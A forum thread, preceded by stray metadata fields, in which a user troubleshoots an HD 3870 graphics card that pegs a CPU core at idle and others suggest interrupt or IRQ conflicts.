38401,
38476,
38483,
38542,
38547,
38585,
38592,
38597,
38644,
38675,
38708,
38754,
38762,
38767,
38841,
38848,
38907,
38912,
38949,
38956,
38961,
39007,
39037,
39079,
39124,
39132,
39137,
39187,
39194,
39242,
39291,
39339,
39389,
39396,
39401,
39445
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 39445,
"ccnet_original_nlines": 1459,
"rps_doc_curly_bracket": 0.008061859756708145,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.08319362998008728,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03352892026305199,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6194467544555664,
"rps_doc_frac_unique_words": 0.5286296606063843,
"rps_doc_mean_word_length": 5.773322105407715,
"rps_doc_num_sentences": 181,
"rps_doc_symbol_to_word_ratio": 0.004295890219509602,
"rps_doc_unigram_entropy": 7.00363826751709,
"rps_doc_word_count": 4663,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.01597266085445881,
"rps_doc_frac_chars_dupe_6grams": 0.012852420099079609,
"rps_doc_frac_chars_dupe_7grams": 0.0009657900081947446,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.010029350407421589,
"rps_doc_frac_chars_top_3gram": 0.008023479953408241,
"rps_doc_frac_chars_top_4gram": 0.004903240129351616,
"rps_doc_books_importance": -4152.3330078125,
"rps_doc_books_importance_length_correction": -4152.3330078125,
"rps_doc_openwebtext_importance": -2573.46044921875,
"rps_doc_openwebtext_importance_length_correction": -2573.46044921875,
"rps_doc_wikipedia_importance": -1603.7406005859375,
"rps_doc_wikipedia_importance_length_correction": -1603.7406005859375
},
"fasttext": {
"dclm": 0.5117858052253723,
"english": 0.21302582323551178,
"fineweb_edu_approx": 2.30623197555542,
"eai_general_math": 0.1687406301498413,
"eai_open_web_math": 0.8451818227767944,
"eai_web_code": 0.4165261387825012
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-1,976,506,025,158,720,000 |
How to Turn a Laptop Into a Server
Save
An old laptop might be too heavy and outdated to use on a daily basis, but still run like new. Instead of selling the laptop for a loss, you can turn it into a personal server that is connected to your home network. The server can be used to store documents, videos and pictures so that they are available to any authorized computer on the network. Microsoft has made it easy to set up a personal server with its HomeGroup feature included with Windows 7.
• Place the laptop on a solid surface in a location where it will not be intrusive, such as on top of a bookcase or in the basement. Plug it into a wall outlet, then turn it on. Connect an Ethernet cable to the Ethernet port on the laptop, then connect the other end of the cable to one of the Ethernet ports on your Internet modem. Select your WiFi network from the notification menu and click "Connect" if you have a WiFi network and want to use it instead of wired Internet.
• Click "Start," then "Control Panel." Switch the Control Panel to extended view by clicking the drop-down box in the upper left side of the window and selecting "Large Icons." Scroll down the list and double-click on "Network and Internet," then choose "HomeGroup."
• Click the option that says "Create a HomeGroup." Click the check box next to each directory you want to share across the network. For example, if you want the laptop to be a video server so that all the computers in your home can access the same videos, choose "Videos,", then click "Next." Windows will automatically generate a password that is required to access the network. Write the password down, then click "Finish."
• Provide the password to anyone on your network that you want to have access to the server. To connect your other computers to the HomeGroup, click "Start" and type "HomeGroup" in the search field. Choose "Join HomeGroup" from the list and enter the password when prompted.
Related Searches
References
• Photo Credit Photos.com/AbleStock.com/Getty Images
Promoted By Zergnet
Comments
You May Also Like
• About Computer Servers
Computer servers are computers that form the heart of computer networks. Also they provide a whole host of services that many computer...
• How to Turn Your PC Into a Web Server
In order for you to publish your HTML documents to the World Wide Web, you're going to need a web server to...
• How to Make Your Computer a Web Server
Web servers host Web pages, applications, images and media files, delivering them through the Hypertext Transfer Protocol (HTTP). Servers also have the...
• How to Use a Computer as a Proxy Server
Small networks can still take advantage of a proxy server. The Microsoft Windows operating system allows you to turn your computer into...
Related Searches
Check It Out
Geek Vs Geek: Robot battles, hoverboard drag race, and more
M
Is DIY in your DNA? Become part of our maker community.
Submit Your Work!
|
{
"url": "http://www.ehow.com/how_7411012_turn-laptop-server.html",
"source_domain": "www.ehow.com",
"snapshot_id": "crawl=CC-MAIN-2017-09",
"warc_metadata": {
"Content-Length": "70686",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VIF6TF4JXFSD76HLB43JISIIHWBBQOOF",
"WARC-Concurrent-To": "<urn:uuid:699fc356-f5a6-4145-baee-8dac55904e5c>",
"WARC-Date": "2017-02-21T21:17:39Z",
"WARC-IP-Address": "23.196.96.116",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:D3Y6UWNWHZZTRX5U47QCWXR4L3XCIAPK",
"WARC-Record-ID": "<urn:uuid:991c590a-0abc-4e76-9c3b-b5cd6bf7760e>",
"WARC-Target-URI": "http://www.ehow.com/how_7411012_turn-laptop-server.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f6a3c198-9df1-4573-a102-f7aef279bee4>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-108.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-09\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
35,
36,
41,
42,
498,
499,
979,
980,
1249,
1250,
1678,
1679,
1956,
1957,
1974,
1975,
1986,
1987,
2042,
2062,
2063,
2072,
2073,
2091,
2092,
2119,
2120,
2262,
2263,
2305,
2306,
2421,
2422,
2465,
2466,
2625,
2626,
2670,
2671,
2814,
2815,
2832,
2833,
2846,
2847,
2907,
2908,
2910,
2966
],
"line_end_idx": [
35,
36,
41,
42,
498,
499,
979,
980,
1249,
1250,
1678,
1679,
1956,
1957,
1974,
1975,
1986,
1987,
2042,
2062,
2063,
2072,
2073,
2091,
2092,
2119,
2120,
2262,
2263,
2305,
2306,
2421,
2422,
2465,
2466,
2625,
2626,
2670,
2671,
2814,
2815,
2832,
2833,
2846,
2847,
2907,
2908,
2910,
2966,
2983
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2983,
"ccnet_original_nlines": 49,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.40567612648010254,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010016690008342266,
"rps_doc_frac_lines_end_with_ellipsis": 0.07999999821186066,
"rps_doc_frac_no_alph_words": 0.14023372530937195,
"rps_doc_frac_unique_words": 0.4382239282131195,
"rps_doc_mean_word_length": 4.471042633056641,
"rps_doc_num_sentences": 31,
"rps_doc_symbol_to_word_ratio": 0.006677799858152866,
"rps_doc_unigram_entropy": 4.865257263183594,
"rps_doc_word_count": 518,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.008635579608380795,
"rps_doc_frac_chars_top_3gram": 0.007772020064294338,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -220.4113006591797,
"rps_doc_books_importance_length_correction": -220.4113006591797,
"rps_doc_openwebtext_importance": -126.68821716308594,
"rps_doc_openwebtext_importance_length_correction": -126.68821716308594,
"rps_doc_wikipedia_importance": -112.36123657226562,
"rps_doc_wikipedia_importance_length_correction": -112.36123657226562
},
"fasttext": {
"dclm": 0.026067910715937614,
"english": 0.8891669511795044,
"fineweb_edu_approx": 2.3300459384918213,
"eai_general_math": 0.04890013113617897,
"eai_open_web_math": 0.16879791021347046,
"eai_web_code": 0.012496169656515121
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
7,729,326,490,087,407,000 |
Feeds
back to article MS brandishes 'Katana' HTTP/2.0 server
Microsoft has gone public with a prototype HTTP/2.0 server. The server is designed to implement the version 4 HTTP/2.0 implementable draft published by the IETF earlier in July. The idea, according to IETF HTTPBIS chair Mark Nottingham, is that progressive implementations of HTTP/2.0 will feed back into the standard. “We're …
COMMENTS
This topic is closed for new posts.
Wait, what? Katana itself is hosted on CodePlex, Microsoft's own open source code repository, but they're choosing to host their fork on GitHub? *scratches his head*
Furthermore, I find it somewhat ironic that they're implementing a protocol designed to reduce application layer latency in a daemon written in a language that compiles to CIL bytecode, which must be run in a .NET virtual machine rather than natively.
3
8
Anonymous Coward
Umm. You do know that in this context, application layer latency refers to the client-server exchange over the network don't you ?
4
1
Yes, I most certainly do. I can see how it could be faster than HTTP/1.1, but I would expect that it would be even faster if it were compiled to native code. It is entirely possible that it's more than fast enough, but the VM still introduces overhead that doesn't exist on a native platform.
1
4
Anonymous Coward
The network latency will overwhelm any possible gain from switching to native code. In other words, it won't make a difference worth a damn.
7
1
Windows
C# runs fully compiled
That MSIL somehow runs interpreted is a common misunderstanding. When a C# program executes it executes fully compiled.
C# is compiled *ahead* of execution, in principle on a method-by-method basis (in reality multiple classes are compiled at once). When a method has been executed *once*, subsequent invocations simply run the compiled method.
MSIL was never intended to be an interpreted language. From the start it was designed to be compiled to the final representation on the target architecture. Because it is type-safe and statically typed, it also do not need the typical type checks that dynamic language suffer from.
9
2
LDS
Silver badge
Re: C# runs fully compiled
But it still runs within the .NET VM and is subject to its checks and workings. Sure, part of the code is turned into native opcodes, still it is different from a fully compiled native application which runs fully on the processor directly.
3
6
Bronze badge
Don't worry Jordan. I've rewritten it in assembler. Pull request is in place.
I just hope they don't change anything between now and November next year when it's due to be submitted as a standard. Then I'd regret not writing it in C#.
5
0
Re: C# runs fully compiled
But it still runs within the .NET VM and is subject to its checks and workings.
There is no such thing as a .NET VM.
There is the common language runtime (CLR) which (as the name hints) is more of a library and initialization code. There is no "virtual machine" that interprets byte codes.
You can host the CLR in your own process (.NET is actually a COM "server"), although the compilation is performed by a JIT compilation service.
When you ask the CLR to run a .NET executable, you ask the CLR to load the assembly, use reflection to find the entry method and ask CLR to execute that method. At that time the CLR will compile the method from the MSIL code of the assembly (or take it from the cache if it has already been compiled) and invoke the compiled code. If the method invokes other methods, the method may be a compilation stub which compiled the method and replaces the reference to the stub with a pointer to the compiled method. Subsequent invocations will thus directly invoke the already compiled method.
.NET code (at least on the Windows platforms) execute fully compiled.
Sure, part of the code is turned into native opcodes, still it is different from a fully compiled native application which runs fully on the processor directly.
No, all of the code is turned into native instructions. All of it. It may not happen until just before the method is executed, but all of the code that is eventually executed is compiled code.
The difference from fully compiled native code is that the compiled code is obtained dynamically from a compiler (or cache) on the target platform, i.e. applications are distributed as MSIL and depends on the MSIL compiler service being available at the target computer.
There is even a tool (ngen.exe) that will pre-populate the cache with *all* of your application code compiled into native code, alleviating the need for JIT compilation.
You may want to read this: http://msdn.microsoft.com/en-us/library/9x0wh2z3(v=vs.90).aspx
3
1
Re: The network latency will overwhelm any possible gain
True.. to some extent.
The early HTTP servers were written in Perl. A language that is utterly slower than "native" code, for almost anything related to an network service. That made some sense at the time, when the prevalent connectivity was up to 9600 bps dial-up.
Not much later, the most popular web server, Apache was written in C.
Anyway, for a prototyping task, implementing a new protocol in any language is ok. For demonstrating that it is "better" to the non-scientific community however, this approach is an very bad idea.
0
0
IT Angle
Re: C# runs fully compiled
>When a method has been executed *once*, subsequent invocations simply run the compiled method.
And then if you modify the source, it is recompiled AT RUNTIME, which is essentially INTERPRETTING. Doesn't matter how many new names MS come up with for the multitude of layers that exist between reading the instructions and executing them on the metal.
.NET is basically a 'compiled' most of the time, 'interpretted'/'recompiled' when modified, execution model.
Kids these days...etc
I remember... having to bend paper clips to flip bits... arg!
0
2
Silver badge
FAIL
Re: C# runs fully compiled
And then if you modify the source, it is recompiled AT RUNTIME, which is essentially INTERPRETTING
Yes. Once. And then it runs fully compiled.
However, distributed binaries cannot be modified without trashing them anyway so any new souce modification comes from the developer and is then distributed and runs, er compiled.
You dick.
0
0
Flame
Re: C# runs fully compiled
>You dick.
Take that back and I might enter into reasonable discourse with you.
Otherwise you are a cunt.
0
1
Silver badge
Re: C# runs fully compiled
Why should I? If you're going to spread FUD about languages being interpreted or otherwise, what use are you?
1
0
Holmes
Re: C# runs fully compiled
The answers you seek lie within...(the questions you ask)
0
0
Silver badge
Katana?
Will it be called the Dreamcast server on release?
1
0
LDS
Silver badge
Interesting... after years of text-based protocols we're back to binary ones...
This protocol is interesting because after years of text-based protocols and data exchange formats someone understood they were not the most efficient, and designed a binary one...
1
3
Re: Interesting... after years of text-based protocols we're back to binary ones...
SPDY really is just compression and multiplexing the HTTP part does not change. Saying http/2.0 is a binary protocol is like saying http1 is binary when you send it over ssl.
1
0
This post has been deleted by its author
Bronze badge
Whether or not C# is really compiled or not, to the people who are saying a bytecode web server wouldnt matter due to network latency...have you ever heard of system resources required to perform a given action? Which is inevitably higher with a language not fully compiled. Given this, you could say that it will impact performance because everyone has a budget of some description and hence the limit at which requests can be serviced in a timely manner will be reached quicker and provide a slower response time at this given tipping point, the tipping point arriving sooner in a bytecode server with the same system resources.
4
4
Bronze badge
Trollface
They want fast?
How about FastCGI? You can even run it with IIS - Link to www.iis.net
Oh, sorry no, that won't happen - You would need people who know how to code...
And you try and tell the young people of today that... they won't believe you. (Four Yorkshiremen).
0
3
Daaayyyuuuum! My native HTML5 appz will be running sooo faasst on this shit! Woooo!! Scale to the cloud baby!
0
1
Bronze badge
Joke
Lols
"Microsoft" and "HTTP server" in the same sentence? You guys!
Being serious for a second though, I hope the working group are sensible about what will be fed back into the specs from this implementation. Though maybe it needs a bit of balance since at the moment it seems like Google are driving it forward with SPDY.
1
3
Does anyone know whether it will support SCTP (http://en.wikipedia.org/wiki/SCTP) transport in addition to TCP? SCTP is a protocol at the level of TCP or UDP which is intended for just this sort of message stream. It's extensively used in the telecoms world for signalling, but is not supported on Windows without a 3rd party driver.
2
0
I can't imagine them deciding to explicitly name SCTP in the spec - but I don't see a reason why HTTP/2.0 servers couldn't function using the "withsctp" wrapper script available for various Linux distributions.
1
0
Silver badge
.Net of course
That way they can be sure their reference implementation only runs worth a damn on windows. You didn't think they were going to truly write cross platform code for the world to use did you? (and mention Mono and I will laugh at you, with Mono you are lucky if your code runs right, forget performance)
1
1
Megaphone
Re: .Net of course
Mono. Mono. Mono!
It is not intended to be a production server. It makes perfect sense to implement a PoC using a language which has a high productivity (using e.g. LINQ and - probably more relevant in this case - async/await asynchronous methods) combined with a good performance.
Async/await makes creating asynchronous methods (much) easier while still have the methods resemble the logical flow of the application.
1
0
Silver badge
Re: .Net of course
There are other technologies that allow true cross platform RAD but from a business perspective what Microsoft did was perfectly reasonable especially as you mention for a PoC.
0
0
This topic is closed for new posts.
|
{
"url": "http://forums.theregister.co.uk/forum/1/2013/07/30/ms_opensources_earlyversion_http20_server/",
"source_domain": "forums.theregister.co.uk",
"snapshot_id": "crawl=CC-MAIN-2014-23",
"warc_metadata": {
"Content-Length": "75807",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RVMHNX4GMJERSZPCRDBPFMJXYJ3NKL2P",
"WARC-Concurrent-To": "<urn:uuid:297361ab-15a0-40fc-ad73-892e0b0a9163>",
"WARC-Date": "2014-07-28T05:10:22Z",
"WARC-IP-Address": "50.57.15.204",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:TUBETEZCKUKT3PJNWTSFE4XPGKGBGRZ4",
"WARC-Record-ID": "<urn:uuid:19dd264e-eaa4-42cb-9f3f-baf4c55fbc1e>",
"WARC-Target-URI": "http://forums.theregister.co.uk/forum/1/2013/07/30/ms_opensources_earlyversion_http20_server/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8943eaf9-92bd-4ded-b840-135203d87ece>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-146-231-18.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-23\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for July 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
6,
7,
62,
63,
391,
392,
401,
402,
438,
439,
605,
606,
858,
859,
861,
863,
880,
881,
1012,
1013,
1015,
1017,
1018,
1311,
1312,
1314,
1316,
1333,
1334,
1475,
1476,
1478,
1480,
1488,
1489,
1512,
1513,
1633,
1634,
1859,
1860,
2142,
2143,
2145,
2147,
2151,
2164,
2165,
2192,
2193,
2434,
2435,
2437,
2439,
2452,
2453,
2531,
2532,
2689,
2690,
2692,
2694,
2695,
2722,
2723,
2803,
2804,
2841,
2842,
3015,
3016,
3160,
3161,
3748,
3749,
3819,
3820,
3981,
3982,
4175,
4176,
4447,
4448,
4618,
4619,
4709,
4710,
4712,
4714,
4715,
4772,
4773,
4796,
4797,
5041,
5042,
5112,
5113,
5310,
5311,
5313,
5315,
5324,
5325,
5352,
5353,
5449,
5450,
5705,
5706,
5815,
5816,
5838,
5839,
5901,
5902,
5904,
5906,
5919,
5924,
5925,
5952,
5953,
6052,
6053,
6097,
6098,
6278,
6279,
6289,
6290,
6292,
6294,
6300,
6301,
6328,
6329,
6340,
6341,
6410,
6411,
6437,
6438,
6440,
6442,
6455,
6456,
6483,
6484,
6594,
6595,
6597,
6599,
6606,
6607,
6634,
6635,
6693,
6694,
6696,
6698,
6711,
6712,
6720,
6721,
6772,
6773,
6775,
6777,
6781,
6794,
6795,
6875,
6876,
7057,
7058,
7060,
7062,
7063,
7147,
7148,
7323,
7324,
7326,
7328,
7329,
7370,
7371,
7384,
7385,
8016,
8017,
8019,
8021,
8034,
8044,
8045,
8061,
8062,
8132,
8133,
8213,
8214,
8314,
8315,
8317,
8319,
8320,
8430,
8431,
8433,
8435,
8448,
8453,
8454,
8459,
8460,
8522,
8523,
8779,
8780,
8782,
8784,
8785,
9119,
9120,
9122,
9124,
9125,
9336,
9337,
9339,
9341,
9354,
9355,
9370,
9371,
9673,
9674,
9676,
9678,
9688,
9689,
9708,
9709,
9727,
9728,
9992,
9993,
10130,
10131,
10133,
10135,
10148,
10149,
10168,
10169,
10346,
10347,
10349,
10351
],
"line_end_idx": [
6,
7,
62,
63,
391,
392,
401,
402,
438,
439,
605,
606,
858,
859,
861,
863,
880,
881,
1012,
1013,
1015,
1017,
1018,
1311,
1312,
1314,
1316,
1333,
1334,
1475,
1476,
1478,
1480,
1488,
1489,
1512,
1513,
1633,
1634,
1859,
1860,
2142,
2143,
2145,
2147,
2151,
2164,
2165,
2192,
2193,
2434,
2435,
2437,
2439,
2452,
2453,
2531,
2532,
2689,
2690,
2692,
2694,
2695,
2722,
2723,
2803,
2804,
2841,
2842,
3015,
3016,
3160,
3161,
3748,
3749,
3819,
3820,
3981,
3982,
4175,
4176,
4447,
4448,
4618,
4619,
4709,
4710,
4712,
4714,
4715,
4772,
4773,
4796,
4797,
5041,
5042,
5112,
5113,
5310,
5311,
5313,
5315,
5324,
5325,
5352,
5353,
5449,
5450,
5705,
5706,
5815,
5816,
5838,
5839,
5901,
5902,
5904,
5906,
5919,
5924,
5925,
5952,
5953,
6052,
6053,
6097,
6098,
6278,
6279,
6289,
6290,
6292,
6294,
6300,
6301,
6328,
6329,
6340,
6341,
6410,
6411,
6437,
6438,
6440,
6442,
6455,
6456,
6483,
6484,
6594,
6595,
6597,
6599,
6606,
6607,
6634,
6635,
6693,
6694,
6696,
6698,
6711,
6712,
6720,
6721,
6772,
6773,
6775,
6777,
6781,
6794,
6795,
6875,
6876,
7057,
7058,
7060,
7062,
7063,
7147,
7148,
7323,
7324,
7326,
7328,
7329,
7370,
7371,
7384,
7385,
8016,
8017,
8019,
8021,
8034,
8044,
8045,
8061,
8062,
8132,
8133,
8213,
8214,
8314,
8315,
8317,
8319,
8320,
8430,
8431,
8433,
8435,
8448,
8453,
8454,
8459,
8460,
8522,
8523,
8779,
8780,
8782,
8784,
8785,
9119,
9120,
9122,
9124,
9125,
9336,
9337,
9339,
9341,
9354,
9355,
9370,
9371,
9673,
9674,
9676,
9678,
9688,
9689,
9708,
9709,
9727,
9728,
9992,
9993,
10130,
10131,
10133,
10135,
10148,
10149,
10168,
10169,
10346,
10347,
10349,
10351,
10386
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 10386,
"ccnet_original_nlines": 261,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 4,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3883495032787323,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.043458160012960434,
"rps_doc_frac_lines_end_with_ellipsis": 0.019083969295024872,
"rps_doc_frac_no_alph_words": 0.18585297465324402,
"rps_doc_frac_unique_words": 0.35364463925361633,
"rps_doc_mean_word_length": 4.638952255249023,
"rps_doc_num_sentences": 141,
"rps_doc_symbol_to_word_ratio": 0.011558019556105137,
"rps_doc_unigram_entropy": 5.6515936851501465,
"rps_doc_word_count": 1756,
"rps_doc_frac_chars_dupe_10grams": 0.1060643270611763,
"rps_doc_frac_chars_dupe_5grams": 0.14939847588539124,
"rps_doc_frac_chars_dupe_6grams": 0.1324576437473297,
"rps_doc_frac_chars_dupe_7grams": 0.1324576437473297,
"rps_doc_frac_chars_dupe_8grams": 0.11711268872022629,
"rps_doc_frac_chars_dupe_9grams": 0.1060643270611763,
"rps_doc_frac_chars_top_2gram": 0.0239381305873394,
"rps_doc_frac_chars_top_3gram": 0.018782220780849457,
"rps_doc_frac_chars_top_4gram": 0.017677389085292816,
"rps_doc_books_importance": -1061.9046630859375,
"rps_doc_books_importance_length_correction": -1061.9046630859375,
"rps_doc_openwebtext_importance": -592.5975952148438,
"rps_doc_openwebtext_importance_length_correction": -592.5975952148438,
"rps_doc_wikipedia_importance": -447.7630615234375,
"rps_doc_wikipedia_importance_length_correction": -447.7630615234375
},
"fasttext": {
"dclm": 0.40075021982192993,
"english": 0.9467034935951233,
"fineweb_edu_approx": 1.9593920707702637,
"eai_general_math": 0.6670957803726196,
"eai_open_web_math": 0.23587292432785034,
"eai_web_code": 0.5001359581947327
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-5,217,294,499,539,175,000 |
Sign in with
Sign up | Sign in
Strange 3870 problem
Last response: in Graphics & Displays
Share
My HIS Iceq3 got delivered today. My system was due for a format and reinstall so I put the card in and just went ahead and foramtted. After XP installed I noticed everything lagging a little bit. So checked task manager and it had my 2nd core pegged at 100% at idle. None of the proceses were using it though. At first I was convinced it was a software issue, but then thought it couldn't be because there was only the bare XP install and drivers installed.
So I did lots of fiddling in the bios changing various settings and still I had the same problem. So finally I put my old card back in and cpu usage was back down to 0% again. I have tried different PSU cables, changed the PCIE voltage etc and I still can't get it to work. I know its not a driver issue becuase it still happens with no drivers installed and only occurs with the 3870.
I'm usually on here helping other people but this one has me stumped. I have never heard or seen anything like it. I can't see how the gpu is causing the cpu to ramp up at idle. I'm sending the card back anyway and getting a replacement but I would still like to hear any ideas in case the replacement has the same issue.
I can't test the card in any other systems at the moment. My guess is either the card is dodgy or my mobo doesn't like it.
Specs:
XP SP2
4800x2 @ stock
2gb OCZ platinum ddr400
Asus A8R-MVP
Enermax Infiniti 720W
Like I said if anyone has any ideas let me know. I'm not going to be around for the rest of the night to reply but I will be on tomorrow so cheers for any replies.
More about : strange 3870 problem
Thats the thing there is no process using the cpu utilisation. The system idle process shows 99%. 1% task manager. But the cpu usage shows 50%. And when I look at the graph its all on the second core. How can 50% cpu usage be used by on processes. I would post a pick but I havn't got the card in at the moment. I'll post a pic tomorrow cause its 1AM in the UK.
Related ressources
You have a Hardware Interrupt and DPC problem, my friend. I'm 99.9999% sure of it. To check download Sysinternal's Process Explorer. I will show Hardware Interupts and DPC's that Task Manager does not display.
I've never done this before, but if it's not a driver conflict, you may have to change the IRQ for the card. I'm not exactly sure how to do that... but I'll do some research.
Anyways, this problem is usually caused by two pieces of hardware conflicting either by drivers or interrupts, so if you change the interrupt to one that is not currently used by any other hardware then it SHOULD eliminate the problem.
*edit* I had another though: Go to the device manager while the 3870 is in and find it there. Right-click it and go to the 'Resources' tab. Look for IRQ #. Write it down, swap to your old card and then see what IRQ it is using. (You may have to do this with each instance of 3870 that appears in the Dev. Mngr.) **Also, check the little box bellow that says something about "Conflicting Devices" and see if it lists anything.**
Cheers I tought of that aswell but my knowledge of changeing IRQ's is limited. It was my thought exactly that there is a hardware conflict. However I think the problem might be all the way down to the mobo.
My reasoning for this is that:
